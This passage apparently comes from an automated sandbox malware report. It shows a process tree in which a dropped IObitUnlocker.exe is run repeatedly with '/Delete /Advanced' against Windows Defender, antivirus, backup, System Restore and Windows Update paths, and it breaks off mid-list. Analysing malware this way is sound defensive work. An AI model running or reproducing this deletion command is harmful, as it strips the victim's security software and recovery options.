                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:6108
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:5916
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C: